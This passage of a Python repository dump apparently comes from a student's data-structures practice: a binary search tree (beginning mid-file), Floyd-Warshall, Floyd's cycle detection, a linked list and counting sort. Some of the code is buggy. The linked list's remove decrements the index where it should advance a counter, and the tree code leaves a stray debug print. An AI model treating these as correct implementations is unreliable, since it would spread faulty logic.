cur.right: queue.append(cur.right) next_level += 1 # current level of nodes done, go to next if cur_level == 0: cur_level, next_level = next_level, 0 tree += "\n" return tree return "" def remove(self, val): cur = self.head # if node is head if cur and cur.val == val: # find replacement rep = self._find_replacement(cur) # replace children if rep: rep.left = cur.left rep.right = cur.right self.head = rep self.size -= 1 # node is below head elif cur: # keep track of parent, navigate to val par = cur # cur one level down from par if val < cur.val: cur = cur.left else: cur = cur.right while cur: if val == cur.val: # find replacement rep = self._find_replacement(cur) # replacement from right child # check if cur is leaf if rep: rep.left = cur.left rep.right = cur.right # check which side cur is, replace cur with rep if par.left and par.left.val == val: par.left = rep elif par.right and par.right.val == val: par.right = rep self.size -= 1 break # navigate to side with cur else: if val < cur.val: cur = cur.left else: cur = cur.right if val < par.val: par = par.left else: par = par.right def _find_replacement(self, node): # return None if node is leaf rep = None # right node exists, find replacement here if node.right: # keep track of par par = node.right # go to leftest node of par cur = par.left if cur == None: # par is leftest node, return it # unlink par from node node.right = par.right rep = par else: # navigate to leftest node while cur.left: cur = cur.left par = par.left # replace par left child with cur right child par.left = cur.right rep = cur rep.right = None print("here", node.right.val) # find replacement left elif node.left: # keep track of par par = node.left # go to rightest node of par cur = par.right if cur == None: # par is rightest node, return it # unlink par from node node.left = par.left rep = par else: # navigate to rightest node while cur.right: cur = cur.right par = par.right # replace par right child with cur left child par.right = cur.left rep = cur rep.left = None return rep def find(self, val): cur = self.head while cur: if cur.val == val: return True elif val < cur.val: cur = cur.left else: cur = cur.right return False def is_empty(self): return self.size == 0 # n = Node(4) # t = BST(n) # t.insert(2) # t.insert(6) # t.insert(1) # t.insert(3) # t.insert(5) # t.insert(7) # print("size", t.size) # print(t.level_order()) # t.remove(4) # print(t.level_order()) # print("size", t.size) # print(t.find(5)) n = Node(-4) t = BST(n) t.insert(-1) t.insert(0) t.insert(2) t.remove(-1) print(t.level_order()) ``` #### File: DataStructsAlgo/Graph/floyd_warshall_minpaths.py ```python from Graph.graph import Graph # floyd warshall algo uses dynamic programming to find shortest paths from all nodes to all nodes # if mid dist matrix diag contains negative, then graph contains negative cycles def floyd_warshall(graph): # init shortest distance adjacency matrix adj = graph.get_adj_matrix() n = graph.size min_dist = [[float("inf")] * n for i in range(n)] # set self distance to 0 for i in range(n): min_dist[i][i] = 0 # copy edges from graph adjacency matrix for i in range(n): for j in range(n): if adj[i][j] != -1: min_dist[i][j] = adj[i][j] # k is a pivot vertex # i and j are vertices we are trying to find the shortest path for # for each pivot for k in range(n): for i in range(n): for j in range(n): d = min_dist[i][k] + min_dist[k][j] # if using that pivot is shorter than the edge if d < min_dist[i][j]: # update the shortest dist for i,j min_dist[i][j] = d # print results for i in range(n): for j in range(n): if i != j: d = min_dist[i][j] if d != float("inf"): print(f"Min path from {i} to {j} is {d}") g = Graph() g.add_vertex(0) g.add_vertex(1) g.add_vertex(2) g.add_vertex(3) g.add_vertex(4) g.add_vertex(5) g.add_vertex(6) g.add_edge(0, 1, 7) g.add_edge(0, 3, 5) g.add_edge(1, 2, 8) g.add_edge(1, 3, 9) g.add_edge(1, 4, 7) g.add_edge(2, 4, 5) g.add_edge(3, 4, 5) g.add_edge(3, 5, 6) g.add_edge(4, 5, 8) g.add_edge(4, 6, 9) # print(g) # print(g.get_edges()) # print(g.get_adj_matrix()) floyd_warshall(g) ``` #### File: DataStructsAlgo/LinkedList/floyds_cycle.py ```python from node import Node def floyds(head): fast = slow = head while fast and fast.next: fast = fast.next.next slow = slow.next if fast == slow: return True return False # n = Node(0) # n1 = Node(1) # n2 = Node(2) # n3 = Node(3) # n4 = Node(4) # n.next = n1 # n1.next = n2 # n2.next = n3 # n3.next = n4 # print(floyds(n)) ``` #### File: DataStructsAlgo/LinkedList/linked_list.py ```python from node import Node class LinkedList: def __init__(self, head=None): self.length = 1 if head else 0 self.head = head def is_empty(self): return self.length == 0 def insert(self, val, index=None): if index == None: index = self.length # cannot insert outside of current length if index > self.length: print("Invalid index.") else: new_node = Node(val) if index == 0: # no head if self.is_empty(): self.head = new_node # replace head, join old head with new head else: temp = self.head self.head = new_node self.head.next = temp # replace kth index, navigate to its parent, the k-1th index else: cur = self.head count = 0 while count < index - 1: count += 1 cur = cur.next temp = cur.next cur.next = new_node new_node.next = temp self.length += 1 def __str__(self): li = "" cur = self.head while cur: li += str(cur.val) + " > " cur = cur.next return li[:-3] def find(self, val): if not self.is_empty(): cur = self.head index = 0 # linear search while cur: if val == cur.val: return index cur = cur.next index += 1 return -1 def remove(self, index): if index >= self.length: print("Invalid index.") else: # if head, replace with next node if index == 0: self.head = self.head.next # navigate to the k-1 element, remove kth element else: cur = self.head count = 0 while count < index - 1: index -= 1 cur = cur.next # remove by replacing kth element with k+1th element temp = cur.next.next cur.next = temp self.length -= 1 # head = Node(6) # ll = LinkedList() # print(ll.is_empty()) # ll.insert(7, 0) # ll.insert(8, 1) # ll.insert(9, 2) # ll.insert(8.5, 2) # print(ll.length) # print(ll) # print(ll.find(8.5)) # ll.remove(1) # print(ll.length) # print(ll) ``` #### File: DataStructsAlgo/Sort/counting_sort.py ```python def counting_sort(list, max): # create arr of max+1 indices, fill arr with how many times each index comes up in list-to-be-sorted # replace and sort list-to-be-sorted by iteration through arr index = [0] * (max + 1) for num in list: index[num] += 1 count = 0 for i, num in enumerate(index): for j in range(num): list[count] = i count += 1 list = [5, 2, 4, 1, 3] counting_sort(list, 6) print(list) ```